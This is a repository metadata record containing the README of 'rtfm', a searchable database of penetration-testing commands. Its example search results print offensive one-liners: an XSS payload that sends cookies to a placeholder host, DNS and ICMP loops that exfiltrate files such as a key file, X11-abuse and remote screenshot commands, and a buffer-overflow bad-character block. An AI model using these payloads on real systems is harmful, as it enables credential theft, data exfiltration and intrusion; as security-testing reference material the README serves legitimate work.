{"id":13681190,"url":"https://github.com/leostat/rtfm","last_synced_at":"2025-04-30T03:30:41.793Z","repository":{"id":16979207,"uuid":"80956436","full_name":"leostat/rtfm","owner":"leostat","description":"A database of common, interesting or useful commands, in one handy referable form","archived":false,"fork":false,"pushed_at":"2024-01-30T22:34:58.000Z","size":381,"stargazers_count":745,"open_issues_count":3,"forks_count":93,"subscribers_count":39,"default_branch":"master","last_synced_at":"2024-11-12T00:36:27.993Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/leostat.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2017-02-04T23:45:45.000Z","updated_at":"2024-08-12T19:27:35.000Z","dependencies_parsed_at":"2024-08-02T13:20:02.275Z","dependency_job_id":null,"html_url":"https://github.com/leostat/rtfm","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leostat%2Frtfm","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leostat%2Frtfm/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leostat%2Frtfm/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leostat%2Frtfm/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/leostat","download_url":"https://codeload.github.com/leostat/rtfm/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251635020,"owners_count":21619126,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-02T13:01:27.569Z","updated_at":"2025-04-30T03:30:41.219Z","avatar_url":"https://github.com/leostat.png","language":"Python","funding_links":[],"categories":["Python","Python (1887)"],"sub_categories":[],"readme":"#  What is it?\nRTFM is a great and useful book, BUT a bit pointless when you have to transcribe it, so this little program will aim to be the spiritual successor to it.\n\nI would recommend picking up a copy of the book from Amazon, it is pretty handy to have!\n\n# Quick Start\n```\nDownload, Update, Look for something!\n $ chmod +x rtfm.py\n $ ./rtfm.py -u\n $ ./rtfm.py -e 'Something'\n\n```\n\n# Usage \n```\n$ rtfm.py -h\nUsage: rtfm.py [OPTIONS]\n\nFor when you just cant remember the syntax,  you should just RTFM\n\nOptions:\n  --version             show program's version number and exit\n  -e SA, --everything=SA\n  -h, --help            show this help message and exit\n  --delete=DELETE       Delete specified ID\n  -t TAG, --tag=TAG     Specify one or more tags to look for (a, b, c)\n  -c CMD, --cmd=CMD     Specify a command to search (ls)\n  -R REMARK, --remark=REMARK\n                        Search the comments feilds\n  -r REFER, --reference=REFER\n                        Search for the reference [reference]\n  -a AUTHOR, --author=AUTHOR\n                        Search for author\n  -A DATE, --added-on=DATE\n                        Search by date, useful for when you want to commit back!\n  -p PRINTER, --print=PRINTER\n                        Print Types : P(retty) p(astable) w(iki) h(tml) d(ump)\n  -i INSERT, --insert=INSERT\n                        Insert c(ommand) | t(ags) | r(eferances) |\n                        (E)verything\n  -D DUMP, --dump=DUMP  Just Dump infomration about\n                        t(ags)|c(commands)|r(eferances)a(ll)\n  -d, --debug           Display verbose processing details (default: False)\n  -u, --update          Check for updates (default: false)\n  -v                    Shows the current version number and the current DB\n                        hash and exits\n\nExample: rtfm.py -c rtfm -t linux -R help -r git -pP -d\n\n```\nIts pretty much a simple search program, nothing to fancy, examples include:\n\n# Searching the DB\nSearching the DB is handled through the following switches: e, t, c, R, r, a and, A. When you are just browsing for a command, you will want to use e as this looks at the command, comment, and referances all at the same time, useful if you know a bit about something such as x11:\n\n```\n$ ./rtfm.py -e x11 -pP\n+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Added By Innes | Cmd ID : 82                                                                                                                                                                         |\n+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Command        | command=\"[cmd]\";echo -n xdotool key \" \"; echo -n $command| sed  's# #€#g' | sed -e 's/\\(.\\)/\\1 /g' | sed 's#/#slash#g' | sed 's#@#at#g'|  sed 's#€#space#g' | sed 's#-#minus#g'|sed |\n|                | 's#\u003e#greater#g'| sed 's#+#plus#g' | sed 's#\"#quotedbl#g' | sed 's#~#asciitilde#g' | sed 's#\\.#period#g' | sed 's#_#underscore#g'; echo KP_Enter                                     |\n|                |                                                                                                                                                                                     |\n| Comment        | Abuse open x11 : Think open term add user add key ;)                                                                                                                                |\n| Tags           | linux                                                                                                                                                                               |\n|                | bash                                                                                                                                                                                |\n|                | interesting                                                                                                                                                                         |\n| Date added     | 2018-02-11                                                                                                                                                                          |\n| References     | https://necurity.co.uk                                                                                                                                                              |\n|                | https://ubuntuforums.org/archive/index.php/t-1970619.html                                                                                                                           |\n+----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Added By Innes | Cmd ID : 272                                                                                                                                                          |\n+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Command        | xwd -display [victim] :0 -root -out /tmp/[victim].xpm;xwd -display ip :0 -root -out /tmp/[victim].xpm; convert /tmp/[victim]; xpm -resize 1280x1024 /tmp/[victim].jpg |\n|                |                                                                                                                                                                       |\n| Comment        | take a screenshot from a open X11 and convert it to a jpg                                                                                                             |\n| Tags           | linux                                                                                                                                                                 |\n|                | bash                                                                                                                                                                  |\n|                | scanning                                                                                                                                                              |\n|                | pivoting                                                                                                                                                              |\n| Date added     | 2018-02-11                                                                                                                                                            |\n| References     | http://unix.stackexchange.com/questions/44821/how-do-i-screencap-another-xorg-display                                                                                 |\n+----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n+----------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Added By Innes | Cmd ID : 481                                                                                                                                                                                   |\n+----------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Command        | \"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\ |\n|                | x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5 |\n|                | f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\ |\n|                | x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xb |\n|                | e\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\ |\n|                | xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\"                                                                                                                       |\n|                |                                                                                                                                                                                                |\n| Comment        | Bad Char's block, re-send removing bad ones                                                                                                                                                    |\n| Tags           | buffer overflow                                                                                                                                                                                |\n| Date added     | 2018-02-11                                                                                                                                                                                     |\n| References     | https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/                                                                                      |\n|                | https://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Dealing_with_badchars                                                                                                           |\n+----------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n                                                                    \n```\n\nAny other time, one of t'other flags for other things;\n\n-c is search for a command. Use this when you know what command you want to look for, but can't quite remember the syntax. For example, if you want to quickly look up the syntax for a common sqlmap command. Useful for jumping straight to collections of common flags or one liners:\n```\n19:54:root:rtfm: ./rtfm.py -pP -c 'sqlmap' \n+----------------+--------------------------------------------------------------------------------------------------+\n| Added By @yght | Cmd ID : 162                                                                                     |\n+----------------+--------------------------------------------------------------------------------------------------+\n| Command        | /opt/sqlmap/sqlmap.py --exclude-sysdbs --eta --is-dba  --current-user --current-db --hostname -o |\n|                | -r sql1.txt                                                                                      |\n|                |                                                                                                  |\n| Comment        | SQLmap generic command                                                                           |\n| Tags           | sql injection                                                                                    |\n| Date added     | 2017-06-19                                                                                       |\n| References     | https://github.com/sqlmapproject/sqlmap/wiki/Usage                                               |\n+----------------+--------------------------------------------------------------------------------------------------+\n```\n\n-t is search for a tag, tags are groups of similar commands, for example, XSS payloads. Use this when wanting a more generic search such as around flaws or around generic Windows commands:\n```\n19:54:root:rtfm: ./rtfm.py -pP -t xss\n+----------------+------------------------------------------------------------------------------------+\n| Added By Innes | Cmd ID : 35                                                                        |\n+----------------+------------------------------------------------------------------------------------+\n| Command        | \u003cscript\u003ei = new XMLHttpRequest(); i.open('GET', '[dest]' + document.cookie, true); |\n|                | i.send();\u003c/script\u003e                                                                 |\n|                |                                                                                    |\n| Comment        | Grab the cookie                                                                    |\n| Tags           | web application                                                                    |\n|                | XSS                                                                                |\n|                | cookies                                                                            |\n| Date added     | 2017-06-19                                                                         |\n| References     | https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet                     |\n|                | https://excess-xss.com/                                                            |\n+----------------+------------------------------------------------------------------------------------+\n\u003csnip\u003e\n```\n\nAll the Tags known about can be shown through -Dt, Currently a few typos that will be fixed in version 0.9.9:\n```\n $ rtfm.py -Dt\n | linux |  | bash |  | text manipulation |  | cisco |  | networking |  | loop |  | pivoting |  | files |  | passwords |  | enumeration |  | user information |  | interesting |  | scanning |  | hp |  | brute |  | http |  | web application |  | XSS |  | cookies |  | metasploit |  | certificates |  | stealth |  | smb |  | MitM |  | dns |  | package management |  | reverse shells |  | Windows |  | perl |  | python |  | php |  | ruby |  | sql injection |  | mysql |  | shell |  | mssql |  | Oracle |  | users |  | wireless |  | wifi |  | configuration |  | av evasion |  | powershell |  | memory |  | impacket |  | filesystem |  | IIS |  | process management |  | privilege escalation |  | remote command shell |  | hashes |  | recon |  | cracking |  | nessus |  | subnets |  | packet capture |  | reference |  | web address |  | java |  | solaris |  | forensics |  | ldap |  | Anti Virus |  | GIT |  | interesting  |  | Cloud |  | RDP |  | shells |  | encryption |  | Troll |  | buffer overflow |  | mona |  | interseting |  | brute force |  | Apple |  | encoding |  | ascii |  | web app |  | Cyber Essentials |  | tools |  | code execution |  | jsp | \n```\n\nThe next one you will want is -R, this is for searching for a 'remark' (aka comment, didn't want two c flags), this is to search the comments field and is more along the lines of searching for techniques or generic terms such as 'X11' or 'exfil': \n```\n+----------------+------------------------------------------------------------------------------------+\n| Added By Innes | Cmd ID : 384                                                                       |\n+----------------+------------------------------------------------------------------------------------+\n| Command        | for line in `base64 -w 62 [file]`; do host $line.[hostname]; done                  |\n|                |                                                                                    |\n| Comment        | exfil file through DNS, may want to encrypt, also assuming you have a short domain |\n| Tags           | linux                                                                              |\n|                | bash                                                                               |\n|                | loop                                                                               |\n|                | interesting                                                                        |\n| Date added     | 2017-06-19                                                                         |\n| References     | https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504                  |\n+----------------+------------------------------------------------------------------------------------+\n+----------------+--------------------------------------------------------------------------------------------------+\n| Added By Innes | Cmd ID : 386                                                                                     |\n+----------------+--------------------------------------------------------------------------------------------------+\n| Command        | ping -p 11010101010101010101010101010199 -c 1 -M do 127.0.0.1 -s 32; for line in `base64         |\n|                | sslfile.key | xxd -p -c 14`; do line2=`echo \"11 $line 99\" |tr -d ' '`; ping -p $line2 -c 1 -M do |\n|                | 127.0.0.1 -s 32; done; ping -p 11101010101010101010101010101099 -c 1 -M do 127.0.0.1 -s 32       |\n|                |                                                                                                  |\n| Comment        | Exfil over icmp                                                                                  |\n| Tags           | linux                                                                                            |\n|                | networking                                                                                       |\n|                | loop                                                                                             |\n|                | interesting                                                                                      |\n| Date added     | 2017-06-19                                                                                       |\n| References     | https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504                                |\n+----------------+--------------------------------------------------------------------------------------------------+\n+----------------+-----------------------------------------------------------------------------------------------+\n| Added By Innes | Cmd ID : 496                                                                                  |\n+----------------+-----------------------------------------------------------------------------------------------+\n| Command        | for line in $(tshark -r [pcap] -T fields -e data  | uniq | grep -v                            |\n|                | \"......................................................\" | sed s/.*11/11/g | grep \"11.*99\"  | |\n|                | sed s/11// | sed s/99$// | tr -d '\\n' | sed s/0101010101010101010101010101/'\\n'/g |sed        |\n|                | s/010101010101010101010101010//g); do echo $line | xxd -r  -p | base64 -d;echo                |\n|                | +++++++++++++++++++; done                                                                     |\n|                |                                                                                               |\n| Comment        | Convert exfil ICMP back to files from pcap                                                    |\n| Tags           | linux                                                                                         |\n|                | networking                                                                                    |\n|                | loop                                                                                          |\n| Date added     | 2017-06-19                                                                                    |\n| References     | https://ask.wireshark.org/questions/15374/dump-raw-packet-data-field-only                     |\n+----------------+-----------------------------------------------------------------------------------------------+\n\n```\n\n\nThese next two are aimed for when you wish to commit back, and wouldn't be normally used:\n\n-a is to search by author, for example, show things you have added:\n`./rtfm.py -a innes`\n\n-A is 'Added on date', this can be one of yyyy-mm-dd, or now/today, most usefully for dumping out commands you have added to commit back to the git!\n\n```\nrtfm.py -A now\n++++++++++++++++++++++++++++++\nCommand ID : 469\nCommand    : b\n\nComment    : b\nTags       : b\nDate Added : 2017-05-14\nAdded By   : b\nReferences\n__________\nb\n++++++++++++++++++++++++++++++\n\nrtfm.py -A 2017-05-14\n++++++++++++++++++++++++++++++\nCommand ID : 469\nCommand    : b\n\nComment    : b\nTags       : b\nDate Added : 2017-05-14\nAdded By   : b\nReferences\n__________\nb\n++++++++++++++++++++++++++++++\n\n```\n\nAll of these search flags can be combinded to create a very specfic search should you wish, shown here with debugging on:\n```\nrtfm.py -c rtfm -a innes -t linux -R help -A 2017-05-10 -d\n[DEBUG]: Options Set: {'insert': None, 'remark': 'help', 'printer': None, 'dump': None, 'author': 'innes', 'cmd': 'rtfm', 'update': None, 'debug': True, 'tag': 'linux', 'date': '2017-05-10', 'delete': None, 'refer': None}\n[DEBUG]: S: SELECT c.cmdid, c.cmd, c.cmnt, c.date, c.author, group_concat(DISTINCT tc.tag), group_concat(DISTINCT ref) FROM tblcommand c JOIN tbltagmap tm ON tm.cmdid = c.cmdid JOIN tbltagcontent tc ON  tc.tagid = tm.tagid JOIN tblrefmap rm ON rm.cmdid = c.cmdid JOIN tblrefcontent rc on rc.id = rm.refid WHERE c.cmd LIKE ?  AND c.cmnt LIKE ?  AND c.author LIKE ?  AND c.date = ? GROUP BY c.cmdid  HAVING  group_concat(tc.tag) like ? \n[DEBUG]: W: ['%rtfm%', '%help%', '%innes%', '2017-05-10', '%linux%']\n[DEBUG]: This Returned : [(1, 'rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P', 'Helpception, search for a command with two tags and a comment', '2017-05-10', 'Innes', 'linux', 'https://github.com/leostat/rtfm,https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html')]\n++++++++++++++++++++++++++++++\nCommand ID : 1\nCommand    : rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P\n\nComment    : Helpception, search for a command with two tags and a comment\nTags       : linux\nDate Added : 2017-05-10\nAdded By   : Innes\nReferences\n__________\nhttps://github.com/leostat/rtfm\nhttps://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html\n++++++++++++++++++++++++++++++\n\n```\n\n# Updating your database\n\nRTFM implements a simple text file format to pull in updates to the database, these are shared VIA git, and implement a simple sha check to make sure they have not been corrupt during download. The updates called by the command are 'safe' in the form they won't write over your DB, should you git pull, it probably will overwrite your DB. If you are git cloning, you can move your database to '/etc/rtfm/snips.db' to protect your database file. \n```\n./rtfm.py -u\n[WARNING]: No DB, please run rtfm -u\n[OK]: This may appear to hang. Run with debug to get more info\n[OK]: Program version information:\n[OK]: Your up to date :\n0.9.8\n Added A way of fixing typo's in the database \n Added program version checking \n Couple of code fixes\nDATE\n1 \n+++++++++++++++++++++++++++\n[OK]: Added Rows :1\n[OK]: Added a new tag and a tagmap\n[OK]: Added a new Ref and a refmap\n[OK]: Added a new Ref and a refmap\n[OK]: Added Rows :1\n[OK]: Added tags\n[OK]: Added a new tag and a tagmap\n[OK]: Added a new tag and a tagmap\n[OK]: Added a new Ref and a refmap\n[OK]: Added a new Ref and a refmap\n[OK]: Added Refs\n[OK]: Hopefully added lots of new commands\n[OK]: Parsed Line of update\n[OK]: Hopefully fixed lots of commands\n[OK]: Update complete\n\n```\n\nThe update process also now drags in errata for the local DB allowing me a centralised way of neatly fixing the typos which have filtered into the DB. These are set through https://raw.githubusercontent.com/leostat/rtfm/master/updates/errata.txt. This allows things to be 'fixed' without needing to remove anything from the database.\n\n# Inserting and committing back\nLike all good cheatsheets, it is possible to add your own content to the database. This is managed through the -i segment of the program. When adding commands you must add them with comments, references, and tags. Else at the moment, they will not be returned from the DB. Minor bug really. This is done by adding all commands, along with their tags and references at once through using -iE, Insert everything:\n```\n9:41:root:rtfm: ./rtfm.py -iE\nEnter your command    : セ=ア[ミ=ウ],ハ=++ミ+ウ,ヘ=ホ[ミ+ハ],ア[ヘ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+ヘ+ヌ+ホ[ウ]+セ][ヘ](ネ[ウ]+ネ[ミ]+ア[ハ]+セ+ヌ+\"(ウ)\")()\nEnter you comment     : Script alert(1) using Katakana \nEnter Author          : Innes\nEnter a tag (blank for end) : xss\nEnter a tag (blank for end) : web application\nEnter a tag (blank for end) : \nEnter a reference (blank for end) : https://github.com/aemkei/katakana.js\nEnter a reference (blank for end) : \n[OK]: Added Rows :1\n[OK]: Added tags\n[OK]: Added tags\n[OK]: Added a new Ref and a refmap\nEnter your command    : ^C\n\nCancelled.\n\n```\n\nAfter committing to your local database I would be extremely grateful if you would open a pull request so that I am able to continue to add to the database. This is really easy, and done through the use of an output format 'pd' (print dump). The easiest way is by searching for commands added by yourself on today, then opening a git pull request, for the above example:\n```\n19:43:root:rtfm: ./rtfm.py -a Innes -A now -pd\nセ=ア[ミ=ウ],ハ=++ミ+ウ,ヘ=ホ[ミ+ハ],ア[ヘ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+ヘ+ヌ+ホ[ウ]+セ][ヘ](ネ[ウ]+ネ[ミ]+ア[ハ]+セ+ヌ+\"(ウ)\")()\nScript alert(1) using Katakana \nInnes\nEOC\nweb application\nXSS\nEOT\nhttps://github.com/aemkei/katakana.js\nEOR\n```\n\nThe above is the correct format for the updates, so you can add a file and I can either merge into one large update file, or keep it as a separate file! \n\n# Output Formats\n\nThere is also a number of output options, such as copy any paste, pretty, wiki and update:\n```\n23:15:root:snips: ./rtfm.py -c rtfm -p p\n++++++++++++++++++++++++++++++\nRTFM\n\nhelpception\n++++++++++++++++++++++++++++++\n\n23:15:root:snips: ./rtfm.py -c rtfm -p P\n+-------------+-------------+\n| Command ID  | 0           |\n+-------------+-------------+\n| Command     | RTFM        |\n|             |             |\n| Comment     | helpception |\n| Tags        | Linux       |\n| Date added  | 2017-01-30  |\n+-------------+-------------+\n\n23:15:root:snips: ./rtfm.py -c rtfm -p w\n= Helpception, search for a command with two tags and a comment = \n rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P\nlinux\nhttps://github.com/leostat/rtfm\n\n```\nThe update format is to make it easy to open pull requests for new commands!\n```\nrtfm.py -pd -c rtfm\nrtfm.py -c [command] -t [tag],[tag] -C [comment] -p P\nHelpception, search for a command with two tags and a comment\nInnes\nEOC\nlinux\nEOT\nhttps://github.com/leostat/rtfm\nhttps://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html\nEOR\n```\n\n# Older way\nShould you wish to add say lots of commands at once, then worry about tags and references later you could do call RTFM with '-i c', using an empty response to stop processing commands:\n```\n$ rtfm.py -i c\nEnter your command    : Your Command\nEnter you comment     : Your Comment \nEnter Author          : Your Name \nEnter your command    : Command Two \nEnter you comment     : Comment Two \nEnter Author          : Your Name \nEnter your command    : \nEnter you comment     : \nEnter Author          : \n[OK]: Added Rows : 2\n[OK]: New Top ID : 491 | Number of CMD's Added : 2\n```\nNext, add the required tags into the inserted with either '-i t', which adds tags to a single command, or '-i ta' which adds tags to all commands missing tags:\n```\n$ rtfm.py -i t\nWhat CMD are we adding tags too? : 491\nEnter a tag (blank for none) : Test\nEnter a tag (blank for none) : Second Tag\nEnter a tag (blank for none) : \n[OK]: Added tags\n[OK]: Added a new tag and a tagmap\n```\nSimilarly , you now have to add referances to the commands you have just added, '-i r',\n```\n$ rtfm.py -i r\nWhat CmdID are we adding refs to? : 491\nEnter a reference (blank for non) : http://bing.com \nEnter a reference (blank for non) : \n[OK]: Added a new Ref and a refmap\n```\nThere is also a '-i ta' which adds tags to all commands which are missing them, this was used for the DB seeding more than anything!\n```\n$ rtfm: ./rtfm.py -i ta\n[OK]: This tags everything without tags,  mainly for DB init\n[OK]: Enter blank line to commit changes\n[WARNING]: Number left :22\n[OK]: Command ID : 467\n[OK]:         Command    : Test Command\n[OK]:         Comment    : My comment\n[OK]: v These are known tags\n | linux |  | bash |  | text manipulation |  | cisco |  | networking |  | loop |  | pivoting |  | files |  | passwords |  | enumeration |  | user information |  | interesting |  | scanning |  | hp |  | brute |  | http |  | web application |  | XSS |  | cookies |  | metasploit |  | certificates |  | stealth |  | smb |  | MitM |  | dns |  | package management |  | reverse shells |  | Windows |  | perl |  | python |  | php |  | ruby |  | sql injection |  | mysql |  | shell |  | mssql |  | Oracle |  | users |  | wireless |  | wifi |  | configuration |  | av evasion |  | powershell |  | memory |  | impacket |  | filesystem |  | IIS |  | process management |  | privilege escalation |  | remote command shell |  | hashes |  | recon |  | cracking |  | nessus |  | subnets |  | packet capture |  | reference |  | web address |  | java |  | solaris |  | forensics |  | ldap |  | Anti Virus |  | GIT |  | interesting  |  | Cloud |  | RDP |  | shells |  | encyption |  | Test |  | Second Tag | \n == == ONE TAG A LINE == == \n\nEnter a tag (blank for non) : \n```\n\n# Deleting content\nThis is simple enough, 'tis just using:\n`rtfm.py --delete 1`\n\n# Debugging\nThroughout the entire program, I have tried to add 'debug' calls '-d', these show you what the SQL is doing, what is being passed around.\n\n\n\n\n# Version 0.9.9 TODO\n * Central way of adding, removing , tags\n * Python three compat (See push)\n * Fix the darn typos in the python program\n\n# Version 1.0.0 TODO\n * Add a template system\n * Add a spawn shell system\n\n# Version 2\n * Coming way in the future\n * Better text support\n * nicer updating\n * Python 3\n\n\n# The TODO  list\n * The 'important' functionality is present, but still lots of work to do\n * Changes are happening on the DB, which means it may 'break' from time to time, just do a git pull to fix \n \n## Fixes:\n * Probably should use prepared statements: local so don't care\n * Check for dupe tags\n * Central tag updates\n\n## Pipeline:\n * Template engine(autofill [user] : A user = innes, pass = password, attacker = 1.1.1.1, victim = 2.2.2.2\n * Make code more sane and betterize the layout\n\n## Future:\n * Cool Thing mode\n * Fix the typos\n\n\n# Credits \nThe people that deserve the credits will be in the reference table of the DB. They are the ones doing the work!\n\n# Thanks\nThanks in no particular order :) : \n```\n@VC : Fixing many a bug!\n@Rezkon : Suggesting new features and making the layout more sane\n@David : Being the beta tester and finding all the bugs!\n@Matthew S : Berating me into making the DB so much better and putting up with the n00b db questions\n@ECSC :  Allowing me to publish! Go check them out : https://ecsc.co.uk\n@Fabien : 'Just run FSCK in dry run mode' . . . ;D\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fleostat%2Frtfm","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fleostat%2Frtfm","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fleostat%2Frtfm/lists"}